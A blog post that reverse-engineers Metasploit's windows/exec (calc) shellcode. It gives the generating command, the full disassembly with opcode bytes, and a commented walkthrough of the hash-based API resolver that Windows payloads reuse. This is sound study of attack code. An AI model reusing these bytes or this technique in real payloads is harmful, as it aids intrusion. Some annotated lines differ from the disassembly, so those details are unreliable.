Understanding Windows Shellcode 3
I recently gained some experience with Return Oriented Programming but my first attempt to build a ROP based exploit on my own was a failure at first (read about it here). However in order to solve the problem I had to understand exactly what went wrong and that forced me to read and understand the shellcode I had chosen.
I had chosen windows/exec and putting a breakpoint before it showed me that the decoder was in fact executed and decoded the shellcode. Also, the decoded shellcode was an exact match with the code I encoded. So…on with the reversing.
The first thing to do was to generate a disassembly of the windows/exec shellcode, which I got like this:
$ msfpayload windows/exec CMD=calc R | ndisasm -b 32 -
This is the disassembly in its entirety:
00000000 FC cld
00000001 E889000000 call dword 0x8f
00000006 60 pushad
00000007 89E5 mov ebp,esp
00000009 31D2 xor edx,edx
0000000B 648B5230 mov edx,[fs:edx+0x30]
0000000F 8B520C mov edx,[edx+0xc]
00000012 8B5214 mov edx,[edx+0x14]
00000015 8B7228 mov esi,[edx+0x28]
00000018 0FB74A26 movzx ecx,word [edx+0x26]
0000001C 31FF xor edi,edi
0000001E 31C0 xor eax,eax
00000020 AC lodsb
00000021 3C61 cmp al,0x61
00000023 7C02 jl 0x27
00000025 2C20 sub al,0x20
00000027 C1CF0D ror edi,0xd
0000002A 01C7 add edi,eax
0000002C E2F0 loop 0x1e
0000002E 52 push edx
0000002F 57 push edi
00000030 8B5210 mov edx,[edx+0x10]
00000033 8B423C mov eax,[edx+0x3c]
00000036 01D0 add eax,edx
00000038 8B4078 mov eax,[eax+0x78]
0000003B 85C0 test eax,eax
0000003D 744A jz 0x89
0000003F 01D0 add eax,edx
00000041 50 push eax
00000042 8B4818 mov ecx,[eax+0x18]
00000045 8B5820 mov ebx,[eax+0x20]
00000048 01D3 add ebx,edx
0000004A E33C jecxz 0x88
0000004C 49 dec ecx
0000004D 8B348B mov esi,[ebx+ecx*4]
00000050 01D6 add esi,edx
00000052 31FF xor edi,edi
00000054 31C0 xor eax,eax
00000056 AC lodsb
00000057 C1CF0D ror edi,0xd
0000005A 01C7 add edi,eax
0000005C 38E0 cmp al,ah
0000005E 75F4 jnz 0x54
00000060 037DF8 add edi,[ebp-0x8]
00000063 3B7D24 cmp edi,[ebp+0x24]
00000066 75E2 jnz 0x4a
00000068 58 pop eax
00000069 8B5824 mov ebx,[eax+0x24]
0000006C 01D3 add ebx,edx
0000006E 668B0C4B mov cx,[ebx+ecx*2]
00000072 8B581C mov ebx,[eax+0x1c]
00000075 01D3 add ebx,edx
00000077 8B048B mov eax,[ebx+ecx*4]
0000007A 01D0 add eax,edx
0000007C 89442424 mov [esp+0x24],eax
00000080 5B pop ebx
00000081 5B pop ebx
00000082 61 popad
00000083 59 pop ecx
00000084 5A pop edx
00000085 51 push ecx
00000086 FFE0 jmp eax
00000088 58 pop eax
00000089 5F pop edi
0000008A 5A pop edx
0000008B 8B12 mov edx,[edx]
0000008D EB86 jmp short 0x15
0000008F 5D pop ebp
00000090 6A01 push byte +0x1
00000092 8D85B9000000 lea eax,[ebp+0xb9]
00000098 50 push eax
00000099 68318B6F87 push dword 0x876f8b31
0000009E FFD5 call ebp
000000A0 BBF0B5A256 mov ebx,0x56a2b5f0
000000A5 68A695BD9D push dword 0x9dbd95a6
000000AA FFD5 call ebp
000000AC 3C06 cmp al,0x6
000000AE 7C0A jl 0xba
000000B0 80FBE0 cmp bl,0xe0
000000B3 7505 jnz 0xba
000000B5 BB4713726F mov ebx,0x6f721347
000000BA 6A00 push byte +0x0
000000BC 53 push ebx
000000BD FFD5 call ebp
000000BF 63616C arpl [ecx+0x6c],sp
000000C2 6300 arpl [eax],ax
This supposedly executes "calc".
Let’s cut it up a little and comment what happens. In my point of view the code consists of three overall stages: Setup, "Magic" function and execution.
Setup
;Make LOD* instructions increment addresses
00000000 FC cld
;Push EIP onto stack so that we know where we are...then jump to 0x8f
;The value pushed is the address of the instruction following the call.
00000001 E889000000 call dword 0x8f
;..... Here lies the magic function
;Pop the address into EBP so that it contains the address of the magic function
0000008F 5D pop ebp
Setup is short. The magic function will use LOD* instructions and they should move from low to higher adresses so the direction flag is cleared. Then the code calls past the magic function to a POP EBP so that EBP contains the address of the function.
Now setup is done.
Execution
I will describe the magic function later since it is quite large…for now know that it locates other functions and executes them.
;Push the value 1 onto the stack (this is actually the second argument to WinExec)
00000090 6A01 push byte +0x1
;Load the address of the "calc" string at 0xbf into EAX
00000092 8D85B9000000 lea eax,[ebp+0xb9]
;Push the address of "calc" onto the stack (first argument to WinExec)
00000098 50 push eax
;Push the value 0x876f8b31 onto the stack...this is a hash and will be explained later
00000099 68318B6F87 push dword 0x876f8b31
;Call the function at 0x6...the function will return to the next instruction
0000009E FFD5 call ebp
;Put the value 0x56a2b5f0 into EBX...also a hash
000000A0 BBF0B5A256 mov ebx,0x56a2b5f0
;Put value 0x9dbd95a6 onto stack...you guessed it, it's a hash
000000A5 68A695BD9D push dword 0x9dbd95a6
;Call the magic function
000000AA FFD5 call ebp
;Compare low byte in EAX register to the value 6
000000AC 3C06 cmp al,0x6
;If it is less that 6, go to 0xba and skip the next section which may change the
;hash that was put into EBX at address 0xa0
000000AE 7C0A jl 0xba
;Compare low part of EBX to 0xe0 (at first this didn't make sense
;as EBX at this point is 0x56a2b5f0 and thus BL is 0xf0 but there is an explanation)
000000B0 80FBE0 cmp bl,0xe0
;If it equals goto 0xba...it will not equal in our example
000000B3 7505 jnz 0xba
;If we got here then change EBX to 0x6f721347
000000B5 BB4713726F mov ebx,0x6f721347
;Now...put a zero byte on the stack (first argument for ExitProcess)
000000BA 6A00 push byte +0x0
;Push the hash...whatever it is (either 0x56a2b5f0 or 0x6f721347)
000000BC 53 push ebx
;Again...call the magic function
000000BD FFD5 call ebp
;Yes...these are not instructions but rather the name of the program to execute
000000BF 63616C6300 db "calc",0
Pseudocode of the above look something like this:
MagicFunction(HASH(WinExec), "calc", SW_SHOWNORMAL);
DWORD version = MagicFunction(HASH(GetVersion));
if (LOBYTE(LOWORD(version)) >= 6 && (char)hash_of_chosen_exitmethod == 0xa0) {
/* We are on Windows Vista, Windows 2008, Windows 7 or Windows 8
* and the penetration tester chose to use ExitThread.
* Use RtlExitUserThread instead.
*/
hash_of_chosen_exitmethod = HASH(RtlExitUserThread);
}
MagicFunction(hash_of_chosen_exitmethod, 0);
What does all this mean ? The magic function (which we will look at in a moment) takes a hash of the function that we want to call combined with a hash of the dll that contains the function, plus any arguments to the function we want to call.
So we start by having it invoke WinExec with "calc" and SW_SHOWNORMAL. After that we call an exit function. We can override which function should be used by specifying the EXITFUNC option to 'msfpayload'. Valid options are 'process' which corresponds to ExitProcess, 'thread' which corresponds to ExitThread, 'seh' which is SetUnhandledExceptionFilter, and 'none' which will just call GetLastError.
As we can see, the shellcode will not use ExitThread if running on a Windows version higher than XP. In this case RtlExitUserThread will be called instead.
So, now we know what functions will be called. Lets take a look at the magic function to see how this is actually done.
Magic function
The magic function is not actually magic, but it is very clever. It is a sort of hashed linker using Skapes trick for finding a function inside a dll whose name equals a hash, but instead of us having to specify the base address of the dll to search this function will search all loaded dlls for a function matching the hash. The hash is formed by combining the hash of the dlls name and the functions name. The arguments to the not so magic but clever function is the hash to search for and then the arguments to the function to search for. This may be better explained with pseudo code:
function MagicFunction(long hash, ...) {
for each loaded dll {
dll_name_hash = hash(dll.name);
for each exported symbol {
symbol_hash = hash(symbol);
combined_hash = dll_name_hash + symbol_hash;
if (combined_hash == hash) {
remove_hash_from_stack;
put_return_address_on_stack;
jump(symbol);
}
}
}
}
Something like that. The function removes the hash from the stack and puts the original return address on the stack instead so the jump to the found function will act like a call. When the found function returns it will not return into the FindAndExecute function but to the location where FindAndExecute was called. Very clever. Lets see how this is actually done.
;Preserve all registers, except EAX, ECX and EDX (as we will see in the and
00000006 60 pushad
;Build new stack frame, just like a compiler generated function
00000007 89E5 mov ebp, esp
;Zero out EDX
00000009 31D2 xor edx, edx
;Get pointer to PEB into EDX
;FS register points to TEB: http://www.nirsoft.net/kernel_struct/vista/TEB.html
;FS+0x30 is the PEB: http://www.nirsoft.net/kernel_struct/vista/PEB.html
0000000B 648B5230 mov edx,[fs:edx+0x30]
;Get address of LDR into EDX
;http://www.nirsoft.net/kernel_struct/vista/PEB_LDR_DATA.html
0000000F 8B520C mov edx,[edx+0xc]
;Get address of InMemoryOrderModuleList list entry into EDX
00000012 8B5214 mov edx,[edx+0x14]
Now EDX points to the first list list entry in memory order. Here begins a loop through all entries in the list.
;We will loop here so we put a label
check_next_dll:
;Get address of base dll name unicode string into ESI
;http://www.nirsoft.net/kernel_struct/vista/LDR_DATA_TABLE_ENTRY.html
;http://www.nirsoft.net/kernel_struct/vista/UNICODE_STRING.html
00000015 8B7228 mov esi,[edx+0x28]
;Get maximum length of base dll name unicode string into ECX
00000018 0FB74A26 movzx ecx,word [edx+0x26]
;Initialize hash to zero
0000001C 31FF xor edi,edi
Now ESI points to the dll name in Unicode, ECX contains the maximum length in bytes (number of bytes used for the name plus null terminator) and EDI is zero. EDI will eventually contain the hash.
Now we enter a hashing loop.
load_next_character:
;AL will contain a character but high bits needs to be zeroed
0000001E 31C0 xor eax,eax
;Load next byte from address pointed to by ESI into AL and increment ESI by one
00000020 AC lodsb
;Compare to 'a'
00000021 3C61 cmp al,'a'
;If less than then the character is already uppercase or punctuation
00000023 7C02 jl upper_case
;Subtract 0x20 to make upper case
00000025 2C20 sub al,0x20
upper_case:
;Update hash in EDI
00000027 C1CF0D ror edi,0xd
0000002A 01C7 add edi,eax
;If we have more characters in the string...
0000002C E2F0 loop load_next_character
Now EDI contains the hash of the dll name, and EDX still points to the dll in memory order list entry. Next we will find the current dll export list so that we can iterate through all exported functions.
;Save dll list entry
0000002E 52 push edx
;Save dll name hash
0000002F 57 push edi
;Put current modules base addr in EDX
00000030 8B5210 mov edx,[edx+0x10]
;Put PE header offset into EAX
00000033 8B423C mov eax,[edx+0x3c]
;Make address absolute
00000036 01D0 add eax,edx
;Put offset of exports into EAX
00000038 8B4078 mov eax,[eax+0x78]
;If offset is zero (meaning no exports?)
0000003B 85C0 test eax,eax
;...then go past the code that looks at the export table
0000003D 744A jz not_found
;...otherwise make address absolute
0000003F 01D0 add eax,edx
;Save address of exports
00000041 50 push eax
;Put number of exported symbols into ECX
00000042 8B4818 mov ecx,[eax+0x18]
;Put offset of names into EBX
00000045 8B5820 mov ebx,[eax+0x20]
;Make address absolute
00000048 01D3 add ebx,edx
At this point ECX contains the number of exported symbols, EBX points to the first entry in the export list and EDX points to the dll base address. The export entries are offsets to where the name lies in memory.
Next comes a loop over all the exported symbols.
;Here we start a loop that runs over all exported symbols
next_symbol:
;If there are no more exported symbols
0000004A E33C jecxz no_more_symbols
;Decrement ECX so that we can use it as an offset into the export list
0000004C 49 dec ecx
;Put offset of name into ESI
0000004D 8B348B mov esi,[ebx+ecx*4]
;Make absolute
00000050 01D6 add esi,edx
;Initialize EDI to zero. EDI will hold the hash of the name
00000052 31FF xor edi,edi
;Here starts a loop that hashes the name
next_symbol_char:
;AL will contain next character but higher bits needs zeroing
00000054 31C0 xor eax,eax
;Read next character
00000056 AC lodsb
;Update hash
00000057 C1CF0D ror edi,0xd
0000005A 01C7 add edi,eax
;Have we reached the end (zero terminated string)
0000005C 38E0 cmp al,al
;If not, read next character
0000005E 75F4 jnz next_symbol_char
;Hash is complete. Combine dll name (at EBP-8) hash with symbol hash
00000060 037DF8 add edi,[ebp-0x8]
;Compare combined hash to first argument to magic function
00000063 3B7D24 cmp edi,[ebp+0x24]
;If not the same try next symbol
00000066 75E2 jnz next_symbol:
If we get past the JNZ instruction it is because the hash matched. In that case the corresponding function should be executed but first its location needs to be found and the stack must be prepared so that it looks like it was called normally. At this point the stack looks like this:
The return address is the address of the instruction following the 'CALL EBP' which invoked the magic function. It is the address we want WinExec to return to, so when we have found WinExec we need to remove all the other stuff on the stack and put the return address where the hash is now. Lets see how this happens.
;Restore export table address
00000068 58 pop eax
;Get offset of ordinals into EBX
00000069 8B5824 mov ebx,[eax+0x24]
;Make absolute
0000006C 01D3 add ebx,edx
;Get ordinal of symbol into CX (ordinals are 16 bits)
0000006E 668B0C4B mov cx,[ebx+ecx*2]
;Offset of function table into EBX
00000072 8B581C mov ebx,[eax+0x1c]
;Make absolute
00000075 01D3 add ebx,edx
;Put offset of function into EAX
00000077 8B048B mov eax,[ebx+ecx*4]
;Make absolute
0000007A 01D0 add eax,edx
Now we have the address of the function in EAX. Next we fix the stack.
;Replace PUSHADed EAX
0000007C 89442424 mov [esp+0x24],eax
;Remove top item on stack (address of exports)
00000080 5B pop ebx
;Remove top item on stack (dll name hash)
00000081 5B pop ebx
;Restore all registers and remove PUSHADed data
00000082 61 popad
;Get original return address
00000083 59 pop ecx
;Remove hash
00000084 5A pop edx
;Restore return address
00000085 51 push ecx
;Now simply jump to the function, it will look like it was simply called
00000086 FFE0 jmp eax
The last four instructions do the clever "call" to the found function. WinExec will see the original return address and two arguments, believing it was called normally. We have now covered the most interesting parts of the magic function but there is still five instructions left to cover. Earlier we jumped to 'no_more_symbols' if the iteration through the symbol table reached the end, or to 'not_found' if no symbol table was found. Those two jumps were to locations past the execution of the found function and they follow here:
;We jump here if we have moved past all symbols in the dll
no_more_symbols:
;Restore address of exports structure
00000088 58 pop eax
;We jump here if no exports table was found
not_found:
;Remove saved dll name hash
00000089 5F pop edi
;Restore address of current in memory order module list entry
0000008A 5A pop edx
;Follow linked list to next entry
0000008B 8B12 mov edx,[edx]
;Check next dll
0000008D EB86 jmp check_next_dll
Now the analysis is complete. One thing to note about this last bit is that the function you look for had better be found. Otherwise the program will certainly crash as there is no check for having reached the last entry in the linked list.
I hope you will agree that this function is not really magic but rather a thing of beauty. It is very generic and thus can be used as a basic building block in all shellcodes. And this is exactly what has happened. If you look in all Windows payloads in Metasploit you will see this function.
After I had reverse engineered the windows/exec shellcode someone told me that I could have read the original assembly source with comments. It is located in 'external/source/shellcode/windows/x86/src/single/single_exec.asm'.
While this is true, I believe that I got more out of doing the hard work myself. When reverse engineering you really have to understand all the details and look up documentation on the different structures that are used. When reading the comments I have a tendency to skip this and just trust the comments.
I hope you enjoyed this as much as I did.